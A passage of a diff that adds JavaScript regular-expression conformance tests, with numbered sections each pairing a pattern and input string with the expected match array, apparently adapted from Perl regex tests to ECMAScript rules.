+pattern = /\by\B/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(44);
+pattern = /\By\B/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('y');
+addThis();
+
+status = inSection(45);
+pattern = /\w/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(46);
+pattern = /\W/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(47);
+pattern = /a\Sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(48);
+pattern = /\d/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(49);
+pattern = /\D/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(50);
+pattern = /[\w]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(51);
+pattern = /[\W]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(52);
+pattern = /a[\S]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a-b');
+addThis();
+
+status = inSection(53);
+pattern = /[\d]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = Array('1');
+addThis();
+
+status = inSection(54);
+pattern = /[\D]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('-');
+addThis();
+
+status = inSection(55);
+pattern = /ab|cd/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(56);
+pattern = /ab|cd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(57);
+pattern = /()ef/;
+string = 'def';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(58);
+pattern = /a\(b/;
+string = 'a(b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a(b');
+addThis();
+
+status = inSection(59);
+pattern = /a\(*b/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(60);
+pattern = /a\(*b/;
+string = 'a((b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a((b');
+addThis();
+
+status = inSection(61);
+pattern = /a\\b/;
+string = 'a\\b';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a\\b');
+addThis();
+
+status = inSection(62);
+pattern = /((a))/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a');
+addThis();
+
+status = inSection(63);
+pattern = /(a)b(c)/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a', 'c');
+addThis();
+
+status = inSection(64);
+pattern = /a+b+c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(65);
+pattern = /a{1,}b{1,}c/;
+string = 'aabbabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(66);
+pattern = /a.+?c/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc');
+addThis();
+
+status = inSection(67);
+pattern = /(a+|b)*/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(68);
+pattern = /(a+|b){0,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(69);
+pattern = /(a+|b)+/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(70);
+pattern = /(a+|b){1,}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'b');
+addThis();
+
+status = inSection(71);
+pattern = /(a+|b)?/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(72);
+pattern = /(a+|b){0,1}/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(73);
+pattern = /[^ab]*/;
+string = 'cde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde');
+addThis();
+
+status = inSection(74);
+pattern = /([abc])*d/;
+string = 'abbbcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abbbcd', 'c');
+addThis();
+
+status = inSection(75);
+pattern = /([abc])*bcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'a');
+addThis();
+
+status = inSection(76);
+pattern = /a|b|c|d|e/;
+string = 'e';
+actualmatch = string.match(pattern);
+expectedmatch = Array('e');
+addThis();
+
+status = inSection(77);
+pattern = /(a|b|c|d|e)f/;
+string = 'ef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', 'e');
+addThis();
+
+status = inSection(78);
+pattern = /abcd*efg/;
+string = 'abcdefg';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcdefg');
+addThis();
+
+status = inSection(79);
+pattern = /ab*/;
+string = 'xabyabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+status = inSection(80);
+pattern = /ab*/;
+string = 'xayabbbz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(81);
+pattern = /(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cde', 'cd');
+addThis();
+
+status = inSection(82);
+pattern = /[abhgefdc]ij/;
+string = 'hij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('hij');
+addThis();
+
+status = inSection(83);
+pattern = /(abc|)ef/;
+string = 'abcdef';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ef', '');
+addThis();
+
+status = inSection(84);
+pattern = /(a|b)c*d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bcd', 'b');
+addThis();
+
+status = inSection(85);
+pattern = /(ab|ab*)bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'a');
+addThis();
+
+status = inSection(86);
+pattern = /a([bc]*)c*/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'bc');
+addThis();
+
+status = inSection(87);
+pattern = /a([bc]*)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(88);
+pattern = /a([bc]+)(c*d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc', 'd');
+addThis();
+
+status = inSection(89);
+pattern = /a([bc]*)(c+d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'b', 'cd');
+addThis();
+
+status = inSection(90);
+pattern = /a[bcd]*dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('adcdcde');
+addThis();
+
+status = inSection(91);
+pattern = /(ab|a)b*c/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+status = inSection(92);
+pattern = /((a)(b)c)(d)/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'abc', 'a', 'b', 'd');
+addThis();
+
+status = inSection(93);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/;
+string = 'alpha';
+actualmatch = string.match(pattern);
+expectedmatch = Array('alpha');
+addThis();
+
+status = inSection(94);
+pattern = /^a(bc+|b[eh])g|.h$/;
+string = 'abh';
+actualmatch = string.match(pattern);
+expectedmatch = Array('bh', undefined);
+addThis();
+
+status = inSection(95);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(96);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'ij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ij', 'ij', 'j');
+addThis();
+
+status = inSection(97);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'reffgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(98);
+pattern = /((((((((((a))))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(99);
+pattern = /((((((((((a))))))))))\10/;
+string = 'aa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aa', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(100);
+pattern = /((((((((((a))))))))))/;
+string = 'a!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(101);
+pattern = /(((((((((a)))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(102);
+pattern = /(.*)c(.*)/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcde', 'ab', 'de');
+addThis();
+
+status = inSection(103);
+pattern = /abcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd');
+addThis();
+
+status = inSection(104);
+pattern = /a(bc)d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc');
+addThis();
+
+status = inSection(105);
+pattern = /a[-]?c/;
+string = 'ac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(106);
+pattern = /(abc)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(107);
+pattern = /([a-c]*)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(108);
+pattern = /(a)|\1/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(109);
+pattern = /(([a-c])b*?\2)*/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababb', 'bb', 'b');
+addThis();
+
+status = inSection(110);
+pattern = /(([a-c])b*?\2){3}/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababbbcbc', 'cbc', 'c');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(111);
+ pattern = /((\3|b)\2(a)x)+/;
+ string = 'aaaxabaxbaaxbbax';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbax', 'bbax', 'b', 'a');
+ addThis();
+
+ status = inSection(112);
+ pattern = /((\3|b)\2(a)){2,}/;
+ string = 'bbaababbabaaaaabbaaaabba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbaaaabba', 'bba', 'b', 'a');
+ addThis();
+*/
+
+status = inSection(113);
+pattern = /abc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(114);
+pattern = /abc/i;
+string = 'XABCY';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(115);
+pattern = /abc/i;
+string = 'ABABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(116);
+pattern = /ab*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(117);
+pattern = /ab*bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(118);
+pattern = /ab*bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(119);
+pattern = /ab*?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(120);
+pattern = /ab{0,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(121);
+pattern = /ab+?bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(122);
+pattern = /ab+bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(123);
+pattern = /ab{1,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(124);
+pattern = /ab{1,3}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(125);
+pattern = /ab{3,4}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(126);
+pattern = /ab??bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(127);
+pattern = /ab??bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(128);
+pattern = /ab{0,1}?bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(129);
+pattern = /ab??c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(130);
+pattern = /ab{0,1}?c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(131);
+pattern = /^abc$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(132);
+pattern = /^abc/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(133);
+pattern = /abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(134);
+pattern = /^/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(135);
+pattern = /$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(136);
+pattern = /a.c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(137);
+pattern = /a.c/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXC');
+addThis();
+
+status = inSection(138);
+pattern = /a.*?c/i;
+string = 'AXYZC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXYZC');
+addThis();
+
+status = inSection(139);
+pattern = /a[bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABD');
+addThis();
+
+status = inSection(140);
+pattern = /a[b-d]e/i;
+string = 'ACE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ACE');
+addThis();
+
+status = inSection(141);
+pattern = /a[b-d]/i;
+string = 'AAC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(142);
+pattern = /a[-b]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(143);
+pattern = /a[b-]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(144);
+pattern = /a]/i;
+string = 'A]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(145);
+ pattern = /a[]]b/i;
+ string = 'A]B';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('A]B');
+ addThis();
+*/
+
+status = inSection(146);
+pattern = /a[^bc]d/i;
+string = 'AED';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AED');
+addThis();
+
+status = inSection(147);
+pattern = /a[^-b]c/i;
+string = 'ADC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADC');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(148);
+ pattern = /a[^]b]c/i;
+ string = 'ADC';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ADC');
+ addThis();
+*/
+
+status = inSection(149);
+pattern = /ab|cd/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(150);
+pattern = /ab|cd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(151);
+pattern = /()ef/i;
+string = 'DEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(152);
+pattern = /a\(b/i;
+string = 'A(B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A(B');
+addThis();
+
+status = inSection(153);
+pattern = /a\(*b/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(154);
+pattern = /a\(*b/i;
+string = 'A((B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A((B');
+addThis();
+
+status = inSection(155);
+pattern = /a\\b/i;
+string = 'A\\B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A\\B');
+addThis();
+
+status = inSection(156);
+pattern = /((a))/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A');
+addThis();
+
+status = inSection(157);
+pattern = /(a)b(c)/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A', 'C');
+addThis();
+
+status = inSection(158);
+pattern = /a+b+c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(159);
+pattern = /a{1,}b{1,}c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(160);
+pattern = /a.+?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(161);
+pattern = /a.*?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(162);
+pattern = /a.{0,5}?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(163);
+pattern = /(a+|b)*/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(164);
+pattern = /(a+|b){0,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(165);
+pattern = /(a+|b)+/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(166);
+pattern = /(a+|b){1,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(167);
+pattern = /(a+|b)?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(168);
+pattern = /(a+|b){0,1}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(169);
+pattern = /(a+|b){0,1}?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+status = inSection(170);
+pattern = /[^ab]*/i;
+string = 'CDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE');
+addThis();
+
+status = inSection(171);
+pattern = /([abc])*d/i;
+string = 'ABBBCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBCD', 'C');
+addThis();
+
+status = inSection(172);
+pattern = /([abc])*bcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'A');
+addThis();
+
+status = inSection(173);
+pattern = /a|b|c|d|e/i;
+string = 'E';
+actualmatch = string.match(pattern);
+expectedmatch = Array('E');
+addThis();
+
+status = inSection(174);
+pattern = /(a|b|c|d|e)f/i;
+string = 'EF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', 'E');
+addThis();
+
+status = inSection(175);
+pattern = /abcd*efg/i;
+string = 'ABCDEFG';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDEFG');
+addThis();
+
+status = inSection(176);
+pattern = /ab*/i;
+string = 'XABYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(177);
+pattern = /ab*/i;
+string = 'XAYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(178);
+pattern = /(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE', 'CD');
+addThis();
+
+status = inSection(179);
+pattern = /[abhgefdc]ij/i;
+string = 'HIJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('HIJ');
+addThis();
+
+status = inSection(180);
+pattern = /(abc|)ef/i;
+string = 'ABCDEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(181);
+pattern = /(a|b)c*d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BCD', 'B');
+addThis();
+
+status = inSection(182);
+pattern = /(ab|ab*)bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A');
+addThis();
+
+status = inSection(183);
+pattern = /a([bc]*)c*/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'BC');
+addThis();
+
+status = inSection(184);
+pattern = /a([bc]*)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(185);
+pattern = /a([bc]+)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(186);
+pattern = /a([bc]*)(c+d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'B', 'CD');
+addThis();
+
+status = inSection(187);
+pattern = /a[bcd]*dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADCDCDE');
+addThis();
+
+status = inSection(188);
+pattern = /(ab|a)b*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'AB');
+addThis();
+
+status = inSection(189);
+pattern = /((a)(b)c)(d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'ABC', 'A', 'B', 'D');
+addThis();
+
+status = inSection(190);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/i;
+string = 'ALPHA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ALPHA');
+addThis();
+
+status = inSection(191);
+pattern = /^a(bc+|b[eh])g|.h$/i;
+string = 'ABH';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BH', undefined);
+addThis();
+
+status = inSection(192);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(193);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'IJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('IJ', 'IJ', 'J');
+addThis();
+
+status = inSection(194);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'REFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(195);
+pattern = /((((((((((a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(196);
+pattern = /((((((((((a))))))))))\10/i;
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(197);
+pattern = /((((((((((a))))))))))/i;
+string = 'A!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(198);
+pattern = /(((((((((a)))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(199);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(200);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a|b|c))))))))))/i;
+string = 'C';
+actualmatch = string.match(pattern);
+expectedmatch = Array('C', 'C');
+addThis();
+
+status = inSection(201);
+pattern = /(.*)c(.*)/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDE', 'AB', 'DE');
+addThis();
+
+status = inSection(202);
+pattern = /abcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD');
+addThis();
+
+status = inSection(203);
+pattern = /a(bc)d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC');
+addThis();
+
+status = inSection(204);
+pattern = /a[-]?c/i;
+string = 'AC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(205);
+pattern = /(abc)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(206);
+pattern = /([a-c]*)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(207);
+pattern = /a(?!b)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(208);
+pattern = /a(?=d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(209);
+pattern = /a(?=c|d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(210);
+pattern = /a(?:b|c|d)(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(211);
+pattern = /a(?:b|c|d)*(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(212);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(213);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acd', 'd');
+addThis();
+
+status = inSection(214);
+pattern = /a(?:b|c|d)+(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(215);
+pattern = /a(?:b|c|d){2}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdb', 'b');
+addThis();
+
+status = inSection(216);
+pattern = /a(?:b|c|d){4,5}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(217);
+pattern = /a(?:b|c|d){4,5}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcd', 'd');
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents
+status = inSection(218);
+pattern = /((foo)|(bar))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'bar', 'foo', 'bar');
+expectedmatch = Array('foobar', 'bar', undefined, 'bar');
+addThis();
+
+status = inSection(219);
+pattern = /a(?:b|c|d){6,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(220);
+pattern = /a(?:b|c|d){6,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(221);
+pattern = /a(?:b|c|d){5,6}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
